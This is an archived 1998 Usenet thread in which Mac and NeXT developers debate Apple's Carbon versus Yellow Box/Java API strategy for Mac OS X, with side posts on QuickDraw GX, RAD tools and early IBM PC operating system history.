<rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com>
<rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com>
<rmcassid-0806981539290001@dante.eng.uci.edu> <NB2f1.12142$Kx3.12467548@news.rdc1.sdca.home.com>
<rmcassid-0806982357100001@dialin33413.slip.uci.edu>
Message-ID: <lk5f1.12149$Kx3.12551461@news.rdc1.sdca.home.com>
Date: Tue, 09 Jun 1998 07:17:37 GMT
NNTP-Posting-Date: Tue, 09 Jun 1998 00:17:37 PDT
Organization: @Home Network
In <rmcassid-0806982357100001@dialin33413.slip.uci.edu> Robert Cassidy wrote:
> In article <NB2f1.12142$Kx3.12467548@news.rdc1.sdca.home.com>,
> rr6013@yahoo.com (Rex Riley) wrote:
>
> > In <rmcassid-0806981539290001@dante.eng.uci.edu> Robert Cassidy wrote:
>
> > > Q) Apple is engaging in development of new APIs. Are they Carbon APIs?
Are
> > > they YB? Are they both? If they are both, how you do provide the kind
of
> > > OO support that YB developers demand, and still make them familiar in
> > > structure to Carbon developers? Doesn't that amount to a lot of
duplicate
> > > effort?
> >
> > To further elaborate, avoid packaging Carbon + YB and moving the whole
> > cluster of technologies forward as a monolithic whole. Carbon does MacOS
8.0
> > ver plus some Services which give it equal citizenship making MacOSX a
> > unified user desktop.
> >
> > Both Carbon and Java API's are new. Old Rhapsody Obj-C API's, now
> > affectionately referred to as YB, are being ammended as necessary.
> > Syntactical sugar has been applied to Javacize all the old Rhapsody Obj-C
> > API's so, in fact, Obj-C needn't be spoken, much less learned. Old Obj-C
> > programmers are supposed to find their API's intact and documentation
> > available.
>
> That's fine, but what _appears_ to be happening, and maybe I'm wrong here,
> is that future development by Apple favors Carbon. It's written in C/C++
> and will somehow (I presume, even this isn't totally clear to me) get
> Javacized + any ObjC touch-ups.
>
>
I've not heard or seen anything until just now. Sounds phizzy. Anybody
verify that Apple is "Carbonated"? :-)
-r
From: rexr@dt1.sdca.home.com
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
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<355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us>
<Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net>
<*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com>
<rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com>
<rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com>
<rmcassid-0806981539290001@dante.eng.uci.edu> <yz0f1.12125$Kx3.12416544@news.rdc1.sdca.home.com>
<rmcassid-0806982301310001@dialin33413.slip.uci.edu>
Message-ID: <Xo5f1.12150$Kx3.12551461@news.rdc1.sdca.home.com>
Date: Tue, 09 Jun 1998 07:22:31 GMT
NNTP-Posting-Date: Tue, 09 Jun 1998 00:22:31 PDT
Organization: @Home Network
In <rmcassid-0806982301310001@dialin33413.slip.uci.edu> Robert Cassidy wrote:
> In article <yz0f1.12125$Kx3.12416544@news.rdc1.sdca.home.com>,
> rr6013@yahoo.com (Rex Riley) wrote:
> > Carbon a retrofit gifted with YB Services, allows old Mac apps to gain a
> > healthy First Class status on the MacOSX desktop, period. That's it -
all of
> > it. Mac Developer's then write infintesimally into the future on their
> > favorite environment. Mac, Java, Obj-C.
>
> My concern is what camp Apple falls into. Apple has 15 months of future
> development and releases that prevent the use of YB. So we either get
> Carbon development, which makes we wonder about it's place and value to
> the YB/Java community, or we get both Carbon and YB. I don't see the
> latter happening, for some reason, though.
>
>
Did I miss something? Why suddenly is there this aire of suspicion? I get
the impression that a mind meld has glued all these API's together. Carbon
is not a complete Apple Engineering resource hog. It's an API with a
timeframe... It's not a first class citizen in the architectural design like
Obj-C and Java, unless I missed something. It doesn't preclude an either
Carbon OR Java/YB development. Why can't there be BOTH? Apple isn't guilty
of Balkanizing into Camps, yet! And you can count on BOTH YB/Java AND Carbon
API's ready for MacOS X. A good deal of Java API work was done earlier.
> > If there is any unifying plan that your previous post begs, it doesn't
exist
> > beyond that which Rhapsody (Ooops bad word) now YB + Carbon adds. New
> > features yet to be released will provide "direction" which is something
you
> > were looking for out of some unified plan.
>
> Direction, yes. Apple has created considerable problems for some of us
> over the last year or so. It has become virtually impossible for anyone
> trying to plan for an Apple OS future of late.
>
>
Ouch... but philosophically, I ponder the dilemna. Software works everywhere
on a Mac! Why would you need to buy Hardware now for MacOS X 15 mos. from
now? Servers are a complete gamble, period.
> WWDC provides value to me
> not as a developer of shrink-wrap apps (which I'm not) but as an
> adminstrator and solutions provider to a small organization. I have
> certain needs that need to be addressed. Apple is apparently going to
> address them, but where, and how? In YB so that I can use the non-G3 PCI
> PowerMacs that I continued to purchase? or in Carbon forcing me to buy new
> hardware? Should I keep investing in YB for Rhapsody? Or should I jump to
> NT and take advantage of YB should it continue, in the mean time being
> able to do WO development which I currently cannot do. I don't feel that I
> can count on any of the new APIs going to NT, because they might be Carbon
> APIs which might not go to NT.
>
> The Rhapsody/MacOS issue was easy for me to address - I would easily
> abandon MacOS in many, many cases. But the API issue is not so easy. Now
> that I have waited patiently to decide on a direction, the time has come
> for me to choose. And along the way Apple has created more doubt than
> there ever was before _for me_.
>
>
This is a mark against Apple, then. API's = choice. Choose Mac apps and run
Mac hardware. All your Mac apps should run on all your Mac hardware.
MacOS X apps won't run on pre-OSX hardware. I'd be real cautous buying into
a MacOS X solution now.
WebObjects develops on OPENSTEP and NT then MacOS X. Choose you hardware...
-r
From: rexr@dt1.sdca.home.com
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
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<355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us>
<Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net>
<*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com>
<rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com>
<rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com>
<rmcassid-0806981539290001@dante.eng.uci.edu> <yz0f1.12125$Kx3.12416544@news.rdc1.sdca.home.com>
<rmcassid-0806982301310001@dialin33413.slip.uci.edu>
Message-ID: <fx5f1.12151$Kx3.12551461@news.rdc1.sdca.home.com>
Date: Tue, 09 Jun 1998 07:31:23 GMT
NNTP-Posting-Date: Tue, 09 Jun 1998 00:31:23 PDT
Organization: @Home Network
In <rmcassid-0806982301310001@dialin33413.slip.uci.edu> Robert Cassidy wrote:
> In article <yz0f1.12125$Kx3.12416544@news.rdc1.sdca.home.com>,
> rr6013@yahoo.com (Rex Riley) wrote:
> I don't think I realized this when I wrote that stuff before, but it's how
> I feel now. Unfortunately, I fall into a category that I don't think Apple
> recognizes. I have no strong loyalties to either set of APIs, but I need
> to start working and have some assurances that my efforts will not be
> wasted. I don't have that now.
>
>
I stand to be corrected but why would you "want" to develop for an API that
hasn't been written yet? Develop everything MacOS and swap in the Carbon
calls when published. Apple will have a parser to cull your code by then.
These are 1:1 swaps, mostly.
If you need server class performance forget MacOS and develop YB. It "ALL"
moves to MacOS X and runs on OPENSTEP. And yes Apple will have a parser
there too to cull out DPS >> DPDF calls. More work but not any rewrite on a
major scale.
-r
From: rexr@dt1.sdca.home.com
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
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<355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us>
<Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net>
<*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com>
<rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com>
<rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com>
<rmcassid-0806981539290001@dante.eng.uci.edu> <yz0f1.12125$Kx3.12416544@news.rdc1.sdca.home.com>
<rmcassid-0806982301310001@dialin33413.slip.uci.edu>
Message-ID: <oB5f1.12152$Kx3.12551461@news.rdc1.sdca.home.com>
Date: Tue, 09 Jun 1998 07:35:48 GMT
NNTP-Posting-Date: Tue, 09 Jun 1998 00:35:48 PDT
Organization: @Home Network
In <rmcassid-0806982301310001@dialin33413.slip.uci.edu> Robert Cassidy wrote:
> In article <yz0f1.12125$Kx3.12416544@news.rdc1.sdca.home.com>,
> rr6013@yahoo.com (Rex Riley) wrote:
> > The bit wrt to Mac8/9 interoperability with MacOSX, why is that
important?
> > And what if you don't get it in 8/9?
>
> It's important because OS X is 15 months away and I don't think Apple will
> push 8.5, 8.6 and 9.0 out the door without adding APIs. Those APIs must be
> Carbon.
>
>
Nah... don't need to. Carbon runs only on TOP of YellowBox (YB) API's.
There's no YB in 8.5, 8.6 and 9.0.
-r
From: rexr@dt1.sdca.home.com
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
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<355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us>
<Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net>
<*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com>
<rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com>
<rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com>
<rmcassid-0806981539290001@dante.eng.uci.edu> <NB2f1.12142$Kx3.12467548@news.rdc1.sdca.home.com>
<rmcassid-0806982357100001@dialin33413.slip.uci.edu>
Message-ID: <TG5f1.12153$Kx3.12551461@news.rdc1.sdca.home.com>
Date: Tue, 09 Jun 1998 07:41:39 GMT
NNTP-Posting-Date: Tue, 09 Jun 1998 00:41:39 PDT
Organization: @Home Network
In <rmcassid-0806982357100001@dialin33413.slip.uci.edu> Robert Cassidy wrote:
> In article <NB2f1.12142$Kx3.12467548@news.rdc1.sdca.home.com>,
> rr6013@yahoo.com (Rex Riley) wrote:
> So what my concern is, is not that Carbon is the transitional element, but
> that YB/ObjC is and that YB/Java is, well, going to be half done and half
> not done. It doesn't make any sense that this would happen, but I don't
> see Apple embracing a model that would favor the Java developer in any
> way.
>
>
Ahh.. well, Apple? Hello Mike Paquette?
I will say that adamantly disagree that Apple would spurn the Java Developer.
Previous actions, statements and products belie just the opposite.
-r
From: teadams@*NOT*tea.mv.com (Tim Adams)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Ummm, excuse me, mr jobs?
Date: Mon, 08 Jun 1998 22:12:51 -0400
Organization: TEA Design
Message-ID: <teadams-0806982212520001@nnh-1-21.mv.com>
References: <6kfqnb$4jj$1@newsfep2.sprintmail.com> <jayfar-2605982311490001@downtown1-18.slip.netaxs.com> <morbius-2605982210170001@1cust85.tnt1.santa-monica2.ca.da.uu.net> <jayfar-2705980213030001@downtown1-4.slip.netaxs.com> <6l4dpu$rjh$3@news01.btx.dtag.de> <MPG.fe1cc3464535a439896aa@megsnews.megsinet.net> <6la7v0$2t9$2@news01.btx.dtag.de> <MPG.fe616a02084ee979896ae@megsnews.megsinet.net>
In article <MPG.fe616a02084ee979896ae@megsnews.megsinet.net>,
rjvârgâs@mêgsinêt.nêt (RØß J Vargas) wrote:
> In article <6la7v0$2t9$2@news01.btx.dtag.de>, Fam.Traeger@t-online.de
> says...
> > And IBM asked DR first (for C/PM), but they came to no deal because
> > Garry Kiddal (sp?) wasn't home when the guys from IBM came. And then
> > they asked MS and not somebody who had an OS ready. Three times lucky.
> >
>
> If I remember correctly, MS offered IBM an OS before MS had any idea of
> *what* OS it was going to provide. I'm pretty weak on the precise
> sequence of events, so I'll not argue too strongly on this. It was
> indicative of tactics Microsoft(and the entire industry, for that matter)
> would bring into play later, and get into hot water over.
>
> If I'm right about the events, though, Microsoft worked at least as hard
> at making the opportunity as it got in luck.
According to the PBS show computer chronicles from a couple of years ago -
IBM approched Gary Kildal (sp) and talked with his wife. (He was out
flying). she refused to sign all the non-disclosure papers they wanted.
IBM went to MS and signed a deal with them.
IBM found that the DOS they had just bought was basically stolen from
Digital Research (ie: Gary Kildal's company) and would most likely never
see the light of day as DR was about to sue them to remove it from the
market.
IBM then returned to DR, talked with Gary, got the papers signed, got Gary
to bless BOTH OS's (I woun't sue). Gary was quite positive his OS was much
better than the rip off that he didn't fear the opened competition.
The problem was that when the first PC hit the store shelves, IBM offered
BOTH OS's for the system. MS'S for around $50 and DR's OS for about $200.
Cheap won, not Quality.
My $.02 worth
>
> --
> RØß <-- Do you know how BORED a guy has to be to decide
> he wants to know how to do this?
--
Tim
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 8 Jun 1998 19:53:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1A1F188-8F045@206.165.43.40>
References: <slrn6np04n.2r7.jason@jhste1.dyn.ml.org>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
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Jason S. <jason@jhste1.dyn.ml.org> said:
>Alan Frabutt posted the following to comp.sys.mac.advocacy:
>
>>> There's a lot that has been lost with GX and GX printing. The arrogance
of
>>> NeXT developers in presuming that THEY always have the best solution is
>>> appalling.
>
>>Damn, just when a lurking observer starts thinking people are treating
>>Lawson _too_ rudely, he posts this *level* of drivel. However the
>>entertainment value in mmalcom's replies are priceless.
>
>Hmm? Lawson's right; the NeXT people are arrogant, and almost never
>willing to admit that there might be a better alternative to the NeXT
>way of doing anything. Whether GX is better is really beside the point.
The real issue isn't whether or not GX is somehow better, but the fact that
it is available on all color Macs running System 7 or better. That's a far
larger market to target than Carbon, and it provides a coherent
resolution-independent graphics and printing architecture for for virtually
all Mac users, which is definitely something that Carbon and YellowBox
graphics are not going to do.
I'm aware of the argument "no-one is using it, so why should Apple?"
However, this argument doesn't really hold water because...
Apple is (or should be) in the business of providing value-added technology
for its customers. It does (or should do) this by creating powerful
technologies that management and engineers believe will address customer's
valid needs in ways that are not currently available and by marketing said
technologies to developers in order to make the technology viable.
Apple did a piss-poor job of marketing GX and made the Macintosh vulnerable
to applications that didn't play by the GX rules (whether accidentally or
on purpose is left as an exercise for the reader, but one should note that
certain apps were deliberately patching the GX print drivers as though they
were classic drivers, even though Apple had warned against this practice
for years). This made the technology worthless to end-users, and hence to
developers.
Interestingly enough, Apple DID fixe the printing problem in System 7 and
MacOS 8 many months ago, but neglected to tell end-users and developers
about the fix.
The same old marketing problem.
What we're left with is a legacy of bad marketing on Apple's part of a
cutting edge technology that is STILL viable on 20 million + Macintoshes
that allows developers to do things that are difficult to accomplish
otherwise.
And yet, we now have Apple engineers bad-mouthing Apple's own technologies,
which run on 10x as many computers as Apple's new technologies (MacOS
X/Carbon graphics), while ensuring that only 1/2 of all older Macs will be
able to use them. This is NOT the way to grow the base of developers.
Is it?
I mean, the proposed Carbon graphics can't even display GX graphics
accurately. That is just plain stupid because it would need two things
added to the API in order to do so: a 3x3 transform matrix and the extra
color capabilities of GX.
If they did this, and allowed at least read-only display of GX under
Carbon, then graphics produced by GX apps would be useful on ALL
Macintoshes in all flavors of the OS.
Surely this is of value?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: 9 Jun 1998 03:01:15 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6np9br.s2d.sal@panix3.panix.com>
References: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com> <6lfhs4$11oq1@odie.mcleod.net> <macghod-0706982344290001@206.133.187.99> <kindall-0806981248260001@nic-c10-177.mw.mediaone.net>
On Mon, 08 Jun 1998 12:48:26 -0400, Jerry Kindall <kindall@mail.manual.com> wrote:
>Doesn't matter why the customers react the way they do. You can't say to
>a customer, "you're overreacting, buy our product anyway" and you can't
>say to yourself, "they're overreacting, we don't need them."
True.
But does a customer have to know that you built the App with YellowBox? It
will run on NT, and look just like an NT app. Who cares what it is built on?
Ditto for WebObjects. When you build a web site for someone, do they have to
know what tools you used? Sell the App and the quick turn around, not the
tools you used to build it.
At one point Visual Basic, and RAD products like PowerBuilder and Delphi had
reputations as being tools for building slow and buggy Apps. Now RAD tools
are getting to be the rule rather than the exception in big companies. I can
not think of any major C++ project that has started in the past 18 months
at my current job. Everything new is being done in Java and RAD tools.
--
sal@panix.com
Salvatore Denaro
From: rexr@dt1.sdca.home.com
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
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<355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us>
<Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net>
<*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com>
<rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com>
<rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com>
<rmcassid-0806981539290001@dante.eng.uci.edu> <tbrown-0806982356060001@mv172.axom.com>
<rmcassid-0906980011280001@dialin33413.slip.uci.edu>
Message-ID: <TP5f1.12155$Kx3.12551461@news.rdc1.sdca.home.com>
Date: Tue, 09 Jun 1998 07:51:15 GMT
NNTP-Posting-Date: Tue, 09 Jun 1998 00:51:15 PDT
Organization: @Home Network
In <rmcassid-0906980011280001@dialin33413.slip.uci.edu> Robert Cassidy wrote:
> In article <tbrown-0806982356060001@mv172.axom.com>, tbrown@netset.com
> (Ted Brown) wrote:
[clip hypotheticals]
> > uh, yeah, that's what I'm afraid will happen. Apple should write OO
> > Frameworks, and the second stage would be to write the procedural access
> > API for those using older languages.
>
> Yes!
>
Gentlemen, that's exactly what they are doing. Except that there is this
disinformation momemtum to turn it into an act of partitioning the OS
somehow. Partitioning polarizes the OS into Camps which must be defended and
fought over. No such nonsense.
-r
From: tbrown@netset.com (Ted Brown)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Mon, 08 Jun 1998 23:56:06 -0400
Organization: All USENET -- http://www.Supernews.com
Message-ID: <tbrown-0806982356060001@mv172.axom.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu>
In article <rmcassid-0806981539290001@dante.eng.uci.edu>, rmcassid@uci.edu
(Robert Cassidy) wrote:
>Some of the conflicts:
>
>Q) Apple is engaging in development of new APIs. Are they Carbon APIs? Are
>they YB? Are they both? If they are both, how you do provide the kind of
>OO support that YB developers demand, and still make them familiar in
>structure to Carbon developers? Doesn't that amount to a lot of duplicate
>effort?
Apple could be writing in C++, then using existing C++/Java/Obj-C bridges
to connect to Yellow Box. The Carbon developers would get a C++
framework, which might be a bit foreign to them. It's not that much work
to take a well designed C++ framework, then expose it as a C based API.
With some design care, the C shell could even be made by an automatic
parsing tool.
This C++ framework could be exposed in Java. That way, Yellow can hit the
Java framework with only a slight hit over natively calling the C++ lib
(and just a bit more work should expose the lib directly to Obj-C).
(Again, this could also be mostly automatic.)
>Q) If they are Carbon based (as I understand is the case), then how can YB
>developers rely on their presence (unless Carbon itself becomes
>cross-platform)?
I fear that's what's happening. That the older Mac engineers really don't
grok Obj-C or Yellow, and like other Mac developers, don't want to use
it. Hence, idiotic decisons like a Carbon Finder.
>Q) If they are Carbon based, how does Apple expect to maintain the
>apparently excellent layering and buffering of services that you find in
>Rhapsody/OpenStep. Or will MacOS X take those Rhapsody roots and sink them
>in a pot of procedural soil? Doesn't that just turn MacOS X into the mess
>that Apple had in MacOS up to now?
uh, yeah, that's what I'm afraid will happen. Apple should write OO
Frameworks, and the second stage would be to write the procedural access
API for those using older languages. Instead I fear that all work will be
done on Carbon, and Yellow will be the poster child. Yellow's a better
foundation for the future -- it's better designed and easier to extend. A
long term view focuses on Yellow (hence new APIs should be written for
Yellow, then exposed to Carbon) and tries to figure out a way to make it
even easier to convert a Carbon App into a Yellow App. I'm not sure that
Apple's currently in the 'long term view' business, even when it just
means only a little more pain in the short term, for a large savings in
the long term. (Even that's doubtfull, it's quite possible that writing
the Obj-C framework, and intial testing will be much faster than writing a
Carbon Framework, esp since Carbon doesn't exist at the moment).
You can make an OO Framework and expose that to Carbon, I'll cautiously
mention that GX is supposed to have a C++ core and was exposed as a C-API
(and please lets not start Yet Another Rant For/Against GX here).
It might be easy to make sure that at least new Yellow frameworks are
easily callable by the Carbon API set. Then you just provide the
C-wrapper to call into the Obj-C framework.
[objType sendmessage:X] becomes objTypeSendMessage(objType, X)
With a bit of care, most of this can be autogenerated (though some calls
will be _ugly_), and the code is fairly simple. The costly part is
running the debug cycle to make sure that the code really works. Even
Mac OS 8/9 could use the API if they had the Obj-C runtime. All we need
is for _new_ frameworks to be ported to MacOS, which is several orders
simplier than moving all of Yellow to the Mac OS.
But, that'd mean that all the non-NeXT Apple engineers would have to use
Obj-C, or at least C++ to code new API sets, and even with no connections,
I've heard word that's not the case.
--
Ted Brown tbrown@netset.com
From: rexr@dt1.sdca.home.com
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
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<355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us>
<Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net>
<*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com>
<rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com>
<rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com>
<rmcassid-0806981539290001@dante.eng.uci.edu>
Message-ID: <NB2f1.12142$Kx3.12467548@news.rdc1.sdca.home.com>
Date: Tue, 09 Jun 1998 04:11:25 GMT
NNTP-Posting-Date: Mon, 08 Jun 1998 21:11:25 PDT
Organization: @Home Network
In <rmcassid-0806981539290001@dante.eng.uci.edu> Robert Cassidy wrote:
> In article <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com>,
> rr6013@yahoo.com (Rex Riley) wrote:
>
> >In <rmcassid-0806981246400001@dante.eng.uci.edu> Robert Cassidy wrote:
> >What triggered the "something missing"? Was it realising
Carbon+Java/Obj-C
> >attracts certain breeds of developers? Or was it the detrimental reliance
> >upon Apple engineers now to advance MacOSX core without healthy Obj-C
> >contributions from a developer community?
>
> I think it is becuase I'm having such a hard time (along with others,
> apparently) resolving what the hell Apple is doing, exactly. And it's
> really both of the things you mention.
>
>
Cognitive Dissonance...
[clip Plans address in prior post]
> Some of the conflicts:
>
> Q) Apple is engaging in development of new APIs. Are they Carbon APIs? Are
> they YB? Are they both? If they are both, how you do provide the kind of
> OO support that YB developers demand, and still make them familiar in
> structure to Carbon developers? Doesn't that amount to a lot of duplicate
> effort?
>
>
To further elaborate, avoid packaging Carbon + YB and moving the whole
cluster of technologies forward as a monolithic whole. Carbon does MacOS 8.0
ver plus some Services which give it equal citizenship making MacOSX a
unified user desktop.
Both Carbon and Java API's are new. Old Rhapsody Obj-C API's, now
affectionately referred to as YB, are being ammended as necessary.
Syntactical sugar has been applied to Javacize all the old Rhapsody Obj-C
API's so, in fact, Obj-C needn't be spoken, much less learned. Old Obj-C
programmers are supposed to find their API's intact and documentation
available.
> In effect this does boil down to the fact that Carbon/Java/Obj-C attracts
> different breeds of developers, but the strategy that is currently
> outlined seems to isolate those developers from one another, thereby
> dramatically diluting whatever they give back to the community.
That's one of prices paid for backward compatibility. They become isolated
at the level of skill and by architecture knowledge. Carbon guys keep Mac
8.x API's plus the new Carbon calls. Java brewers get the whole environment
limited only by Java and their knowledge/skill thereof. Same with Obj-C
hands except these guys need to mix Java + Obj-C going forward. I haven't
seen any of them cringing...
> YB developers work in a considerably different structure than Carbon
> developers can take advantage of, and contributions by Carbon developers
> will probably be seen as having little value to YB developers due to a
> weak OO structure. All oars should be pulling in the same direction
> here...
>
No big deal... Same direction, different strokes.
> Q) If they are Carbon based (as I understand is the case), then how can YB
> developers rely on their presence (unless Carbon itself becomes
> cross-platform)?
>
>
Clarify what "Carbon based" API's being created "new" defines. This loosely
worded implies Carbon systemwide moving forward as if it has become de
rigeur. Quix demonstrated on NeXT machines, as long as Mac Rom code is
implanted soft or hard MacOS apps cross platforms nicely with or without
Carbon.
> Q) If they are Carbon based, how does Apple expect to maintain the
> apparently excellent layering and buffering of services that you find in
> Rhapsody/OpenStep. Or will MacOS X take those Rhapsody roots and sink them
> in a pot of procedural soil? Doesn't that just turn MacOS X into the mess
> that Apple had in MacOS up to now?
>
>
Non-issue with my limited understanding, until I learn otherwise.
> This combined with the wall erected above between the OO structure of YB
> and the procedural structure of Carbon creates that detrimental reliance
> on Apple that you describe.
>
>
It's only temporary until talent comes up to speed on the new API's. But
that is 3+ years. Year One will be Carbon conversion and a wait&see
atttitude. Year Two the market will take Apple in the direction it must go.
Year Three it's all Hell broke loose writing new apps for the new direction
in the Java API's.
> Q) If they are Yellow based, then Apple has no ability to migrate them to
> the MacOS 8/9 products which makes me skeptical of receiving any near-term
> gains based on what I heard at WWDC.
>
>
Only to the extent that NeXT engineers influence MacOS 8/9 development
direction. Some influence has been felt. More should be expected for
merging with MacOS X. But I agree, near-term should NOT be where to expect
MAJOR technology transfer.
> Again, something is missing here. The problem is that the introduction of
> Carbon is very good, but incomplete long-term. Carbon will not allow MacOS
> X to advance in any efficient, innovative way and at the same time, MacOS
> X will never gain adoption to even have a chance at advancing without it.
>
>
You haven't seen "Apples-on-a-stick" have planned. Carbon is essential now,
ala lifeboat, to these Mac Developer's. Java API will be their Ship
coming-in...
> Furthermore, I don't see that Apple is offering anything to *new*
> developers that is overly exciting. Calling YB with Java is nice, and YB
> allows nice, rapid development, but YB doesn't go anywhere but Mac and
> Windows. BFD. That's not overly interesting to the Java world, IMO.
>
>
Exactly the rant I went on a month back... but it could.
> To existing Mac developers, they get their same old junk on a platform
> that is more stable, but no bigger than what they had. BFD. That's not
> overly interesting to the Mac world, IMO.
>
>
Wrong. Biggest Fucking Deal Apple ever faced. They got it wrong too, don't
feel bad.
> Old OpenStep developers get a larger market, but it's not the market that
> their products are targetted towards. Ask Erik Buck about that. MacOS X is
> not a strategy for the enterprise market. So that's not overly interesting
> to the OpenStep world, IMO.
>
>
OPENSTEP developer's get "clout". Really that's all they wanted. For 10
plus years these talented and principled few have found an audience of NONE
in advancing business plans, careers or technologies.
Eric is right that MacOS X is not an enterprise killer solution that Rhapsody
could've been. But all that is water under the bridge. Rhapsody couldn't
get there from here, period. It died. MacOS X gets Apple to the bridge, at
least. The Rhapsody strategy, was a non-starter.
-r
From: rexr@dt1.sdca.home.com
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
MIME-Version: 1.0
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References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net>
<355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us>
<Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net>
<*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com>
<rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com>
<rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com>
<rmcassid-0806981539290001@dante.eng.uci.edu> <NB2f1.12142$Kx3.12467548@news.rdc1.sdca.home.com>
<rmcassid-0806982357100001@dialin33413.slip.uci.edu>
